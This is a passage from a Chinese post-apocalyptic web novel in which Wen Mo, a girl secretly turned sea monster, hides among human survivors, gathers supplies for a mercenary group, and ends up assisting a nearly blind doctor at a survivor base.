就仿佛这具身体异变的时候避开了躯干和脑袋。这只虫子没有软组织皮肤,看似裸露出的已经是它的骨头,但温茉知道,这只是此虫的伪装,它的肌肉和筋膜组织都藏在骨头内部。
虫子凑近她嗅闻,随后一脸嫌弃地拉开距离,难为它的脸上露出那么人性化的表情,它又闻了闻,随后又拉开,如此来回反复好几次,才犹犹豫豫的张大嘴巴。
悬于那张大嘴上方时,温茉闻到了虫子胃里的腥臭味,它已经咬住了她的一条腿,锋利的尖牙撕扯着软肉,可往常轻而易举就能咬穿的人类如今却怎么都咬不破,明明是软乎乎的身体,但表体仿佛有一层异常柔韧的软膜。
虫子保持着动作愣住了,喉间发出了咯吱吱的音调,温茉把手伸进了它的嘴里,虫子下意识咬了咬。
那手臂却突然变为一条长长的、布满让虫子觉得腥味很重黏液的、疙疙瘩瘩的触手。
触手上几十双漂亮的金色眼睛精神抖擞地延伸转动着,温茉看到了虫子的喉咙、胃部。
它的喉咙上长着三圈螺旋状倒刺,犹如鲨鱼的牙齿般密集尖锐,能够轻易将食物碾成肉泥,它没有内脏,只有一个大到占满肚子的胃部,里面有厚厚的绿色胃酸,胃部是红色的,肉壁上长满了蛛网般的筋膜。
此刻在胃液中飘荡的是几块碎骨头,看着像人类的手骨,这些骨头被腐蚀着,散发着滋滋热气。
陆地族受不了深海族的腥味,于是这只虫子下意识把温茉的手吐了出来,嫌弃地欲将她扔回地上,温茉眨了眨眼,刚想发动攻击从内部撕碎它,就敏锐地听到了风雪声外的呼吸和奔跑声。
她当即把手臂变为正常,切换为一脸惊恐的表情挣扎着,她开始小声抽泣着,眼泪瞬间飙出,又因为太过寒冷几乎是瞬间就粘在眼下变为冰泪珠。
远处粗重的呼吸声和踩在雪上奔跑的咯吱声更近了。温茉估摸着大概有十几个人,与此同时,她闻到了硝烟和火把的味道。
虫子应当也察觉到了,它趴了身体呈攻击状,舌头使劲推着温茉,温茉强忍着恶心使劲扣着它的牙齿,她的力量太大,直接把虫子变异过的牙掰了下来,于是虫子恼火地伸手掐住了她的腰——
当一群
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高大强壮,扛着机枪重炮的雇佣兵冲破风雪到达时,见到的就是虫子将要折断单薄少女腰部的画面。
奄奄一息的黑发少女手臂和脸颊上都沾着红色的血,她只穿着单薄的衣服,连鞋子都没有,全身裸露的皮肤都已经冻了一层冰霜,见到他们,她突然爆发了极大的求生意志:
“救救我,我不想死……”她的声音颤抖而沙哑,带着泣音,这一句好像已经耗费了她全部的力量,接着她头一歪昏迷了过去。
温步惊和一些驻足的鬼魂就这么飘在空中看温茉的表演。
雇佣兵们的眼里都燃起了熊熊怒火,为首的大高个更是厉声道:“开炮!”
于是所有人肩头扛着的重击炮都朝虫子射了过去,这些炮弹全部击中了虫子的喉部,硬生生“凿”出了一个小洞,只有指甲盖大小,但虫子感受到了痛苦。
它将温茉像球一样狠狠投掷向挑衅它的人类中。
为首的大高个立刻飞身接住了温茉,抱着她在雪地滚了几圈才停下,温茉的脸埋进这人的胸口,闻到了一股很腻的奶香味。
“还有脉搏!”这人戴着皮革手套,她咬下一只手套,用粗糙厚实的手掌覆盖在温茉颈间,几秒后惊喜道。
这位雇佣兵把温茉紧紧抱在胸前,解开厚大衣将她包住,温茉脸上的冰霜因为她的体温而融化成湿答答的水,她也毫不在意,只是用疼惜的语调道:
“这孩子的皮肤都被冻坏了!”
温茉的脸躲在大衣和她的胸前,不知为何产生了一丝安心感,仿佛不远处激烈的打斗嘶吼,肆虐的风雪都离她远去。
温步惊幽幽地蹲在温茉身边,摸了摸她的小腿,轻轻嘟囔道:“这群人是怎么突然冲出来的,完全没察觉啊。”
“不过看起来很猛,应该能把这虫子打跑吧?”
它还想试试,用鬼火烧这种硬邦邦虫子的效果如何呢,被这群人搅了局。
温茉动了动腿安抚它,接着她强迫自己真正昏死了过去。
……
一簇温暖摇曳的烛光中,温茉睁开了眼,在看到床边一排的背影后,她抱着被子惊恐地缩向床脚。
“你们……是谁!?”她色厉内荏道,声音嘶哑得不像样。
“嗳?醒这么快?”较为熟悉的一道嗓音响起,坐在温茉枕头边的一个女人转过了身体,她正抱着一个小婴儿哺乳,同时抬起一只手作投降状。
“你伤得很严重,暂时不要乱动吧?哈哈哈,我叫阿西娜,孩子,你一个外国人怎么突然出现在这里呢?”
阿西娜的语速很快咬词也很黏糊,幸好温茉听得懂,她心里不禁有些暗喜,面上却是一脸忧伤迷茫:
“我、我忘记了……我记得飞机坠毁了,我一个人走了很远很远……这是哪里?我什么都想不起来了……”
她被纱布包成粽子的双手猛地捧住了脑袋,闭眼颤抖着。
听到这话,不只是阿西娜,狭小木质房间内的所有人都皱起了眉,他们神情各异,但都保持着怀疑的目光。
飞机?暴风雪地带怎么会有飞机经过?除非是……那些逃命的权贵。
在给少女上药的时候,阿西娜和医生已经分析过她的身份了。黑发黑眸身材轻柔,五官虽然立体美丽但明显是一副外国人长相。
阿西娜已经自动给温茉脑补了一个身份:留学在这块大陆,坐飞机想逃回已经安全的祖国但运气很差的学生妹。
21. 第 21 章
阿西娜力排众议,让温茉留了下来。
这是一间一百多平的地下室,有一个小厕所和一个杂物间。剩余的面积全是客厅装潢。有沙发和壁挂电视。
电力断掉了,照明用的是壁挂的燃油蜡烛,蜡烛又大又精美,形状是栩栩如生的各种小动物形象,也不知道他们是从哪搜刮来的。
现如今这里住着二十几口人,除去三张单人床和沙发外,无论男女老少,剩余的人都只能睡在铺着厚厚毛毯的地上。
地下室阴冷,尤其是在这寒冷的冬季,晚上睡觉时,所有人都会蜷缩着抱在一起,这样才能安稳度过一夜。
白天,阿西娜会看着怀表的时刻点燃蜡烛,晚上轻轻吹灭,她总是像个虔诚的计时工一样,在各个蜡烛托间来回走动更换。
她神情总是很轻松,仿佛闻不到蜡烛味、汗味、药味等各种奇怪味道混合成的糟糕空气,看不到整日沉默的人们脸上绝望死寂的表情。
她真的特别突出,身上带着满满的活力,让温茉想到了羊雅芝。
阿西娜虽处于哺乳期,仍旧高大强壮,只有肚子上有圈小赘肉。她长得不算多漂亮,棕褐色的眼睛很小,嘴巴和鼻子很大,眉毛又粗又浓。
她脸上总是笑着,仿佛什么难题都能迎刃而解。
这里几乎所有人都有枪,但他们都唯阿西娜马首是瞻。温茉卧床养病了几天,明显能感觉到其他人有些意见,但他们顾忌着阿西娜的态度,也算友好地跟温茉相处着。
这些雇佣兵……这些由幸存者抱团组成的“非正统”雇佣兵团中女多男少,强壮年轻的男人只有三个,加上阿西娜,强壮年轻的女人只有五个。
外面天气恶劣,厚重的雪层下又蛰伏着不知多少骨化虫。每一趟外出寻找物资的过程都危险重重。
年轻人的压力很大,因此表情总是阴沉沉的,眼神中透露着无趣和麻木。
说来赶巧,温茉上岸的那天,他们所有的物资都没有了,于是这个雇佣兵团才全体出动,这才正好救下了温茉。
那天他们没找到多少物资,而温茉的到来不仅用掉了很多药物资源,还多了一张嘴吃饭,再加上她外国人的身份,雇佣兵内部对她意见很大,但都因为阿西娜的原因而压制着情绪。
温茉把这一切都看在眼里。
尽管一天只吃两顿,五天后,所有的食物都没了。外面的风雪一直在增强,积雪厚度达到了两米多,外界气温也来到了零下五十度左右。
老弱病残是怎么都不能够派出了。第二天早上,由阿西娜留下坐镇,其余七个年轻人包裹严密后,在众人的殷勤期盼下离开了地下室。
送走他们后,老人抱着小孩子缩在毛毯里,小孩们饿得嗦手指也不哭不闹,乖得不像话。
地下室一下变得空旷又安静,空气仿佛也没那么污浊了。
阿西娜哄睡了婴儿放在床上,端着一小碗温热的燕麦片来喂病床上假寐的温茉。
温茉全身的皮肤都被冻坏了,整个人裹着厚厚的纱布,像个木乃伊一样。平日里吃饭下床都由阿西娜帮助。
温茉温顺地咽下粗粝没泡开的麦片,阿西娜低着头神情柔和,温茉舔了舔唇角,问道:“你为什么要对我这么好?”
这个问题她憋很久了,今天可算是找着机会问出来了。
“甜心,我只是收留了你。这种天气,把一个可怜的小姑娘扔在外面送死,我估计以后会下地狱吧!?哈哈哈!”
“你对谁都这样吗?”温茉好奇,她轻轻碰了碰阿西娜的手指,“我看到了你的警徽,实不相瞒,我妈妈就是警察——”
“唔,你这是选择性失忆吗?”阿西娜笑眯眯道。
都说眼睛是心灵的窗户。她一笑眼睛就看不见了,让人探究不到她的真实想法。
温茉噎了一下,不自然地含糊道:“迷迷糊糊记得吧,妈妈是生命中最重要的人,怎么可能彻底忘记嘛。”
“我喜欢你这句话,真温情啊……让我已经迫不及待幻想小家伙多琳长大后的情况了。我应该能当她生命中很重要的人吧。”
阿西娜说着扭头去看隔壁床上的酣睡小人。
“灾难来临时,我的亨利变成了怪物,我杀了他,在当晚独自生下了这个小肉坨,上帝把这个小天使送给了我,无论如何,为了她我也要好活下去呀。”
“可是如今环境……”温茉欲言又止。
“晓丽。”阿西娜有些僵硬地念着温茉编造出的名字,“小姑娘,你年纪轻轻就不要这么悲观嘛。”
她道:“只要我的乳汁还分泌一天,孩子能多长一天,我就不会气馁。”
“这些枪炮武器其实都是老样式了,被锁在展览柜里当标本,可我们靠着它们,打跑了好几只白虫子呢。”
温茉真是被她充满旺盛生命力的笑容晃得睁不开眼。
温茉道:“我的伤已经好了,我会帮你找物资的。”
“不急。”阿西娜摸了摸温茉的额头,“等你养好皮肤再说吧,女孩子的脸可是很重要的。”
阿西娜的眼神带着怜悯,其实她们都清楚,温茉的皮肤被冻得太严重了,就算长好了也会布满坑坑洼洼的痕迹。
但温茉完全不在意,不就是毁容吗,这有什么的!
她现在审视自己美不美的标准,是看触手长不长,尖牙利不利,力气大不大,一次性能吃多少食物。
温茉现在才十几米长,力气连一头鲨鱼都绞不死,散发出的致幻气体也微乎其微,更别提暂时还没有发展出繁衍能力。
虽然温茉自己不在意能不能产卵……一想想自己脑袋上齐刷刷滑出一颗颗卵就头皮发麻。但深海族在意啊,每天围着温茉发射脑电波鼓励,恨不得她下一秒就进化为成熟体。
温茉被念叨的烦,直接提前爬上岸,其实按照她和温步惊的想法,她原本是计划春天积雪都融化了再出来的。
这白雪皑皑简直是骨化虫天然的隐蔽场,难搞。
“哇啊啊哇——”小多琳突然爆发出一阵高亢的哭声,有劲儿的脚丫使劲蹬着被褥,阿西娜掀开被子看了看,“怎么又拉了,你这个小坏蛋,妈妈刚给你洗干净屁股!”
“吃得不好能不拉肚子吗?”一个终日躺在沙发上的干瘪老太太道:“你的奶水没什么营养……”
因为长时间龟缩于地下,大多数人的指甲和头发都有些脱落,更可怕的是,当眼睛适应昏暗的光线后,外面的雪地几乎能让人致盲。
这老太太就是出去一趟眼睛瞎了一只,因此脾气很差,说话总是带刺。
阿西娜没有争论什么,安静地处理好多琳的脏屁股,然后抱着她哼起了歌谣,多琳哼哼唧唧一会后,又安然入睡。
时间很快到了中午。
所有人都饥肠辘辘,地下室氛围十分凝重,温茉实在受不了了,就去厕所拆下了全身的绷带。
她穿戴好了厚衣服,对焦头烂额哄着孩子的阿西娜说道:“我去找吃的,超市在什么方向?”
她实在坚持,阿西娜只能说:“就在这座酒馆的右侧,大概九百多米的距离……你千万要小心。”
这座全木酒馆的上层已经被雪浸透了,温茉踩着楼梯推开冰凉湿润的木门,咯吱——
门外的世界简直说是冰雕的也不为过,柱子,吧台,地板所有的物什都裹着厚厚的冰雪,玻璃大门破破烂烂地倒在门后,门檐上一排的小彩旗被冻得梆硬,像倒三角的冰凌。
雪停了。
门口的雪层很厚,被人为清出一条“路”,温茉顺着这条湿滑的路走了十多分钟,看到了早上出去的人。
七个人有六个瘫倒在雪堆上,一个还在挥舞铁锹,温茉拍了拍她的肩膀,那人太沉溺铲雪,惊得直接跳了起来。
“是我,晓丽,你们回去休息吧。”
女人眯起的蓝眼眸里满是明晃晃的怀疑,气喘吁吁地哼出一声嘲笑,“就你这小胳膊小腿?”
温茉捡起一把铁锹,狠狠朝雪层挖去,用力,一米厚的冰层就被翘起裂开
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,她笑嘻嘻道:“东大陆女人有的是劲儿。”
“就让她干会儿活吧,我太累了。”
“这周边的虫子很少了,应该不会、不会遇上危险……”
瘫着的人七嘴八舌地开口。
“……行吧,你小心点别死了。”那女人说道。
一分钟后,七个人互相搀扶着离开了。
他们走后,温茉扔掉铁锹,双手化为触手伸进雪层,在伸展到极限后,她用力掀飞雪堆,触手像两条高速翻滚甩动的铁棍,几分钟后就清出了十几米的雪道。
温茉勤勤恳恳清理了六百多米的距离,好几天没见的温步惊突然出现在她身后说话,温茉差点没一头栽进雪里。
“哥!吓我一跳!”
“离太远了,镯子把我拉回来了。”温步惊解释道:“不然我怎么也要在离你几十米远的地方就大喊''你哥来了''。”
温茉嗔怒瞪了它一眼。
几天未见,温步惊像是大了一点,温茉仔细看了看,不是大,是长高了一点,原本肉嘟嘟的小手变得修长,脸颊肉没那么鼓了。
……黑紫色的尸斑好像也淡了一点。
这附近有一只大诡,温茉刚醒来就知道了。要不是满镇的鬼魂拼着烟消云散的代价拦着那只大诡,地下室早就团灭了。
温步惊消失的几天就是去处理这件事,温茉在后方助攻,没事干就拿着遗照跑杂物间里上香。
这遗照是大遗照的缩小版,只有两寸,还是在研究院的时候温茉没事干复印的。
香是阿西娜给她的,虽然放久了有些潮。
阿西娜问过她为啥早晚都要点烟,温茉就一脸无辜地告诉她:“我在祭拜我死去的哥哥晓刚。我们感情实在好……”
不管这上香有没有用,反正此刻温步惊看着状态不错。
它心情很好,“打了三天后,我把那只臭诡吃了,现在感觉浑身都是力量。”
“那是啥诡啊?”温茉继续干活,边甩触手边问道。
“是只上吊鬼,招数就是让别人上吊,我头跟脖子又是分开的,对我来说根本没伤害,就是它打着打着老跑出镯子范围,昨天才抓住它。”
温步惊笑眯眯地变出一团幽蓝的鬼火,跃跃欲试:“不知道烧虫子效果怎么样。”
“正好!你去超市看看有没有虫子。我还要一会才能到。”
遗憾的是,超市没有虫子的踪迹。这沿海小镇本就偏远,人口少,虫子少,抓不到人就会离开。
当初那只虫子很大可能是落单的。
超市的铁门是关着的,玻璃破了个大洞,洞口一半被雪掩埋了,温茉清扫了洞口的雪层走了进去。
地板凝固着几厘米的雪层,货架乱糟糟地倒了几排,超市不大不小,当初应该是发生了火灾,后部分的空间被烧得精光。
剩余的货架上也只有零星一些罐头和零食,温茉捡了个筐全收集了,也才填满一半。
街道是面对面的两排商铺组成的,都是些花店,书店,服装店,餐饮店等。
温茉在一家牛排餐厅后厨找到了半冰箱的冻牛排和一箱黄油。红酒也是有的,但这又不是白酒能喝了暖和,她就没拿。
服装店里的衣服还有很多,温茉胡乱挑了些颜色鲜艳的冬装,店里居然还有母婴区,温茉像老鼠掉进了米缸,把展示柜里二十多桶奶粉和一半的婴儿用品拿走。
书店里有一驾装饰品敞篷马车,上面坐着位恬静温柔的长发淑女,温茉把淑女扔掉,毫不客气地征用了马车。
她把收集到的所有物资全放进马车里,用绳子捆好。
做完这一切,她才突然惊觉:“我是不是干得太快了点。”
“何止。”温步惊双手抱胸道:“他们那些人一周都拿不到这么多东西。光挖雪道都能累死。”
温茉犯难了。
不管了,把东西扔到酒馆门口就走吧,反正已经从阿西娜口中打听到了最近城市的位置,她还要找虫母吃虫幼崽呢。
22. 第 22 章
温茉拖着小马车,沿着雪道返回。
回到原来位置时,她愣住了。
——房子塌了。
温布惊飘在空中皱眉:“屋顶的雪太重了,再加上木头被腐朽,房子就这样塌了。”
温茉:“酒馆用全木就不可能没考虑自然因素,除非现在是异常天气。看来不只外星虫入侵,地球自身也在改变着。”
“……现在不是想这些的时候,先把人救出来。”温步惊说道。
它飘回地下室,然后从出口位置升回地面,指挥道:“这里,把这里挖开,他们就能出来了。”
地下室的通风系统早就坏了,拖久点里面的人都会因为缺氧窒息。
温茉脱下厚重的外套,用触手把标记点周围的雪和断木扫走。
突然,她感到一阵虚弱。
人类食物能汲取的能量很低,温茉今天又出了大力气,身体所剩的能量仅能堪堪维持人形。
温茉浑身无力,几乎饿得前胸贴后背,但她不敢停下,铁锹挖到飞起,心系着地下二十几个人的生命。
她挖了一个多小时,才终于把地面所有东西移开,但地下室楼梯里又冲进了大量的雪和杂物。
温茉只能继续挖,好在里面的人也在努力挖掘,同时下面传来了激烈的喊叫和哭声。
又过了二十多分钟,在铁锹砸开最后的冰层破出一道口子时,阿西娜温暖粗糙的大手伸了出来,紧紧握住了温茉的手。
“你退后点。”阿西娜闷声道,温茉应了声,退后至数米外,看着那道口子越来越大。
然后,她转身飞奔离开。
当阿西娜第一个爬出来时,温茉早就没影了。
……
异国他乡,冰天雪地,温茉没想到能再见到彭周,当时她刚摸索到城外,却发现城市周围建立起了高大的电网。
她正想着要不要挖个洞进去,鬼鬼祟祟地找着合适的点位,帽子却突然被人狠狠一扯,紧接着一个男人把她抱住。
“幸存者!”他说的中语,语气欣喜,边说边掀开她的帽子查看,在看到温茉整张结痂扭曲的皮肤后,愣住了。
温茉也愣住了,这货居然是罗木,尽管他穿戴严密,但他的浓眉大眼太有标志性了。
看情况,他没认出来自己。
温茉把脸埋进帽子和围巾里,表现出一副很胆怯的模样。罗木拉住了她的手臂,扯着她走到一棵粗重的大树下,移开树皮,露出一道小台阶。
温茉被他推进去,走进那个粗糙的两米宽地道,地道里开着几道白亮大灯,地上歪七扭八靠瘫坐着很多特种兵。
彭周双腿大开地坐在一个小板凳上,穿得很厚,专注地看着手中的纸张,同时粗大的右手摩擦着枪杆。
几个月没见,他的侧脸更消瘦了,黑得像块炭,头发推成短寸,气质更加硬朗。
“老大!发现一名幸存者!”罗木大声道。
彭周将视线从纸上移到温茉身上,看着她像个鹌鹑一样抖动,一双剑眉拧得死死的。
“巡逻队每天高强度干活,还有漏网之鱼?”
彭周非常头疼,有只虫母龟缩在城里,他们好不容易把几乎所有幸存者弄出去,围起来,结果还是有人带着各式各样的理由和念头想要闯进去。
电网都差点电死三个壮汉。
这边人长得都高,眼前的矮个子应该是个小女生,能隐约看见她围巾下摆翘出的一截头发,她的脸隐藏在围巾帽子和散落的头发中,连眼睛也看不见。
“把脸露出来,让我看看你又是哪个混球。”彭周颇有些咬牙切齿。
罗木神色不自然地开口:“老大,别了,我见过了,应该是流浪过来的。脸毁容了,也不说话,看起来……怪可怜的。”
他说的中语,彭周愣了一下,沉默两秒后摆摆手:“那你把她送回基地去,在这碍事。”
温茉目光沉沉,看着他又重新低头在纸上做标记,她思索了一下,跟彭周相认好像是麻烦更多一些,于是就歇了老乡见老乡,两眼泪汪汪的念头。
罗木抱着枪,扬了扬下巴道:“跟上。”
两人回到地面,然后顺着树后那条明显挖掘有段时日的雪道前进。
这里算是内陆,雪层比沿海小很多,但是也有一米多高了,温茉跟在罗木身后踱步,一时间只有鞋子踩着冰面的脆响声响彻四周。
罗木安静一会儿又开始唠叨:“你是从哪来的啊?多大了?身上哪里有伤吗?饿不饿等到基地找人给你下碗面吃?今天中午应该有面条吧烦死了……滑得很你小心点……”
既然已经留下哑巴的印象了,温茉决定贯彻到底,不管他怎么搭话都不开口。罗木自说自话了一会儿觉得没意思,然后也闭上了嘴。
罗木步子稳健,照顾着温茉走得很慢,十几分钟后,雪地厚度逐渐降低,温茉闻到浓重的鲜腥味,猜测这附近是用了化雪手段。
一到新地方,就跑出去找鬼魂交朋友撒野的温步惊又是突然被手镯拉回来,鬼还是一脸懵的状态。
他转了一圈,新奇道:“这不是当初那个莽撞的兵嘛!我记得他们来的不是这儿啊?”
温茉也很想知道为什么,不是说兽化虫一炮下去好解决吗,怎么又来了这儿对付这种硬如钢铁的虫子。
温茉朝温步惊招手,等它飘过来,在它手心比画。
我没暴露,彭周也还活着,看起来过得很惨,不过是个好事,要是遇到什么危险了就找他们。
虽然温茉觉得现在的自己能打遍天下无敌手,但她看见熟悉的面庞就是会觉得亲切安心。
温步惊摸着下巴,笑了笑:“也行。”
它趴在温茉背上,手脚勾着她的身体道:“好奇怪,这片的鬼魂太少了,我刚找了一两只,它们说黑发黑眸的军队来了有一个月了,头脑聪明,救了很多人。原来是彭周他们啊。”
其实它还想问更多,但它死得早,外语不太好,刚说的还是自己磕磕绊绊拼凑出来的。
“虫母就在城里,在医院。”它又道,伸手摸了摸温茉的肚子:“都瘪成什么样了,准备什么时候去觅食?”
温茉昼夜颠倒地赶路,早就不知道过去了几天,刚开始她还感觉胃里焦灼般的痛苦,后来慢慢地没啥感觉了。
就是身体太虚,走路都在打摆子。
原本温茉可以今晚就吃到饭,但她已经落入人类手中,不能打草惊蛇,于是比画着:过两天。
温步惊没吭声,闭上眼假寐。
远远的,一个由三十几辆越野黑车组成的车队映入眼帘,围着车活动的人们身材强壮高大,衣服也不大一样,眼睛棕色和淡蓝色居多,气质不是很流氓。
应该都是当地的军人。
看到两人,一个近乎两米高的男人上前,罗木指了指身后,“刚在电网周围发现的小混球,赶紧领走吧。”
“辛苦了。”鹰钩鼻男人点了点头,小鸡仔一样拎着温茉的衣领把她推上车,温茉爬到后排坐好。
车子发动,一个漂亮的摆弯后向着反方向驶去,罗木挥手的身影很快消失不见。
男人面罩上的双眼恹恹,黑眼圈很重,尝试着跟温茉搭了两句话。
温茉生怕自己口音出岔子,就保持沉默,男人暗骂了两句,拉下黑色面罩露出苍白长满胡茬的脸,一只手摸索出半截烟叼上,也没点火,就那么恶狠狠的咬着烟头。
路太滑了,即使车子套了防滑链,也需要司机极其专注,温茉眼尖地看到副驾的打火机,探过身体帮他点燃烟头。
男人赞赏地看了她一眼,狠狠地吸了一口,车内很冷,香烟燃烧得很快,没两分钟就到头了。
让温茉惊讶的是,男人居然把最后的烟蒂卷进嘴里咀嚼,然后打开窗一口吐出去。
“小哑巴,一会儿我把你放路口,看见建筑自己走过去知道吗?”
“幸存者基地可没人会哄着你,年纪小的也要干活,自己的饭自己挣,不想活了就自己走开死得远远的,免得还要浪费资源收拾残局。”
他交代着,突然有些生气地捶了几下喇叭:“知道了吗!”
温茉嗯了一声。
车子一直行驶在茫茫白雪地中,温茉第一次意识到国外的地也这么平坦,接着车子拐了一个弯,开到了一条黑乎乎的柏油路上。
看久了白色突然出现一条黑
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,温茉精神好了一点。
随着车子行驶,路旁不再是黄荒原般的寸草不生,出现了一些报废的车子、各种破烂的家具等东西,然后一座明显是粗糙建造的基地出现。
基地能看到的地方都像是用铁造成的,围着厚厚的电网和路障,门口守着一群扛枪的扛炮的,车子一个急刹停下,温茉自己跳下去,看着车子掉头又离开。
士兵们没有刁难温茉,甚至没问任何隐私问题,只是问了她几岁,有什么技能。
温茉指了指嗓子划叉,用手指在一块雪地写字。
17,会开车会做饭。
跟东大陆不一样,这边15岁就能考驾照,因此会开车不算啥稀奇技能。
做饭?做饭更是没用,现在末世吃饭都是统一的糊糊,哪有给厨师发挥刀工的地方。
士兵们又问道:“能接受脏乱差吗?”
温茉还以为他们说的是住的地方,就点了点头。
谁知道当她被领进基地后,那个士兵径直把她带到一个飘着红十字彩旗的屋子里。
他对一名圆眼镜的疲惫白大褂说道:“给你个新人。”
女医生点了点头,手里还在忙着抽药剂,然后扎进一个断腿病号的胳膊上,病号嘶嘶地哀号着,在病床上扭个不停。
放眼望去,这座教室般大小的病房里躺满了身体残缺的病号,男女老少都有,最严重的甚至没有四肢,像个人彘般被包在被子里。
屋子里气味浑浊到了熏眼的地步,屎尿味、药味、消毒水味、汗臭味和油臭味混合着……
温茉出了一身冷汗,她再一次惊觉这末世的残酷,在此之前,她几乎没有遇到身体残疾的伤者,因为她看见的要么死了,要么像阿西娜一样苟活的好好的……
温茉莫名想到了当初在学校救出的那名女同学,不知道她是否还活着,是否身体还完整,当初伤成那个样子……
病人被幻肢痛折磨的死去活来,女医生费劲地按着他,士兵早就走了,温茉发了小会儿呆,然后立刻上前帮忙。
她捞起床边的绳子,跟医生合力把人跟床捆好。
医生来不及说什么,把桌子上的托盘塞进温茉怀里,“跟着我,把所有人的药打了。”
温茉点头,戴上口罩同她一起忙碌起来。
病人有三十多名,但在打了二十几针的时候,女医生的眼镜却不慎被一个哇哇大哭的小孩碰飞,在地上摔得粉碎。
医生是高度近视,几乎快看不见了,于是温茉只能临阵上任,接管最后的十多人。
此前她从未接触过这个行业,甚至自己被打针的次数都很少,温茉听着医生的话摸索着上手,却还是扎破了一个病人的血管。
镇静剂被全数推了进去,但抽出时鲜红的血液突然从破口喷涌而出,温茉慌乱地用床单捂着他的伤口,手臂突然被女医生打开。
用干净的纱布摁住伤口,好一会儿止住了血,女医生虽有些生气,却没发火。
但这个意外给温茉带来了不小的心理压力。
心怦怦跳,手也有些发抖,温茉太过紧张,甚至都有些眼花了。
剩余的病号她都小心翼翼地扎针,好在没有再出什么茬子。
做完这一切,她靠着墙缓和,才发现自己又惊出了一身冷汗。她发誓,这次的紧张心情仅次于刚吞噬掉“班长”后清醒的时候。
医生真是个伟大的职业。
揉了揉眉心后,温茉叹了口气……这儿的医疗资源真的很短缺了,她一个新来的都能顶上去。
在镇静剂的作用下,病人们逐渐陷入了沉睡。女医生松了口气,捡起镜框拉着温茉走了出去。
关上门,呼吸到冰凉的新鲜空气,她们都深深松了口气。
女医生摸着歪歪扭扭的镜框苦笑一声:“这可怎么办?这副眼镜本来就已经是从尸体上扒下来的了。”
温茉拉起她的手写单词:没有配镜的吗?
医生摇头,“怎么可能会有这个。”
“我的度数有两千多度,以前还好,现在没了眼镜真的活不下去了。”
温茉垂下眼眸。
末世,普通人活着,太难了。
23. 第 23 章
基地的房子是薄薄一层铁片和厚厚的泡沫层组成的,每间房正中央都修着一个小火炉,火炉整天燃烧着,室内温度勉强达到零度左右。
温茉刚来就被派给女医生马丽娜当助手,自然而然地跟她住在一个屋子。
小房子里摆着四张行军床和一张大桌子,桌子上密密麻麻堆着医疗用品,马丽娜缩进被子里,隐隐约约传出些啜泣声。
温茉在隔壁床上坐着,保持着沉默。
中午的时候,马丽娜带着温茉去了食堂吃饭,饭是饼干意面和面包组成的大杂烩。
食堂几百个位置都被坐满了,但几乎没有聊天声,每个人都专注机械地咀嚼着食物。仔细看去,所有人都面无表情。仿佛生活的重压已经让他们无比麻木。
马丽娜吃着眼泪拌饭,温茉在她身边,浅尝一口就不吃了,她看旁边的男人正在舔盘子,就随手把自己的给了他。
男人愣了一下,立刻狼吞虎咽起来。
突然,一个士兵走到餐桌旁敲了敲,“丽娜医生,我听说您出了些状况。”
马丽娜神色惶惶,唇瓣轻颤:“我、我的眼镜碎了……”
她双目迷茫无神地注视着士兵,努力地想要瞪大双眼。
“这可不妙。”士兵苦恼地叹了口气,“……那您就只能去当伐木工了,或者简单的搬运柴火工作应该可以胜任的吧?”
“我不行的……”马丽娜下意识反驳,她突然捏住温茉的手臂,像抓着最后一根救命稻草般,声线尖锐:“她可以协助我!她,她可以当我的眼睛!”
士兵看了眼温茉,声音轻飘飘的:“可是,她是个哑巴啊。”
温茉眼神闪烁,抿着嘴低下了头。
“抱歉,马丽娜,请明天早上去门口报到。”
士兵走了。
马丽娜顿时如遭雷击,身体一软从凳子上滑了下去,她的脸上阴云密布,充斥着浓浓的绝望。
“不……”她崩溃大叫:“你们不能这样对我!我!我救了那么多人!”
声音在大厅里回荡,显得尤为突兀刺耳。但没人有看热闹的心思,甚至连落井下石的人都没有。
只有刚接受了温茉食物的男人投来短暂的一眼怜悯,然后拉了拉大衣领子,端起餐盘走了。
马丽娜一直在哭,温茉就那么陪着,直到午餐结束食堂关门,工作人员来驱赶。
马丽娜腿软的走不动路,大半的身体都倚靠着温茉,回到医生宿舍,她直接缩进了被子里。
另外两张床的主人不见踪影,温茉猜测应该还是在“医院”忙。
温茉出去透气,她蹲坐在高大围墙的无人角落,双手插兜盯着雪地发呆,温步惊从远处飘来,冰凉的小手捧着她的脸问道:
“为什么难过?”
它极其敏锐地察觉到了温茉的情绪,没有问发生什么了,而是问为什么。
温茉低声将经过讲述一遍,脸上露出一丝自弃:“如果我没有装哑巴就好了。”
“没有那么多如果。”温步惊一脸冷冰冰道:“几乎全盲的情况下,想靠指导一个0经验小孩来自保,根本是不可能的事。”
温茉:“她好可怜,虽然还活着,但生不如死……”
温步惊默了三秒后道:“都是命。”
它突然做出了一个意想不到的举动,用短短的手臂拥抱着温茉,跟她鼻尖贴鼻尖,嘴里念叨着:“我数三下,之后不必要的烦恼就统统消失。”
“三、二、一……”它漂亮的大眼睛闭得紧紧的。
温茉愣了下,眨了眨眼,心情真的好多了,“这是……我们小时候的游戏?”
温步惊嘴角露出一丝微笑:“是啊,以前每次爸妈吵架,你哭的时候我就是这么哄你的。”
“爸妈感情一直很好啊,什么时候吵过架。”温茉随口道。
“唔。”温步惊:“可能我记岔了。”
它结束拥抱,退后站直了身体,温茉眼尖地看到它原本胳膊上的狰狞伤痕全部消失,只留大团的片状黑紫尸斑。
“你这是又吃鬼了?”温茉抓着它的双手查看,惊喜地发现除了手臂干净了,脖颈断口处的皮肉也长住了。
现在的它穿着牛仔背带裤,神态越来越有活力,从背后看,活脱脱就是个八岁大的调皮小男孩。
“我们来晚了,这里的鬼都被别的大诡吞噬得差不多了。我吃的是零星的几只。”
温步惊小脸严肃地强调:“它们都是自愿的,真的,它们死的怨气极重,又没办法报复外星虫,当鬼也很痛苦,于是就拜托我帮它们解脱。”
温茉:“你心里有数就行。”
温步惊又听到她肚子雷鸣般的鼓声,于是道:“暂时先吃点人类的食物吧。”
温茉摇了摇头,“吃了只会加重身体负担。”
“……”温步惊话锋一转:“既然女医生被调岗了,那他们怎么安排你的?”
温茉皱眉:“说是让我还是当护工,打下手。我申请到明天了。”
温步惊下一秒丝滑道:“今晚就走吧。让你去处理那些脏污的东西,我会疯的。”
温茉心中一暖,握紧了它的小手,“好……其实比起脏污,绝望死寂的氛围才是最窒息的。”
这也是为什么,好胳膊好腿的人那么多,愿意当护工的却寥寥无几。
温步惊:“其实我在想,你变成虫子未尝不是坏事,至少自保——”
它突然眉头一皱,“好强的怨气,谁死了!?”
温茉跟它对视,起身朝基地内部赶去。
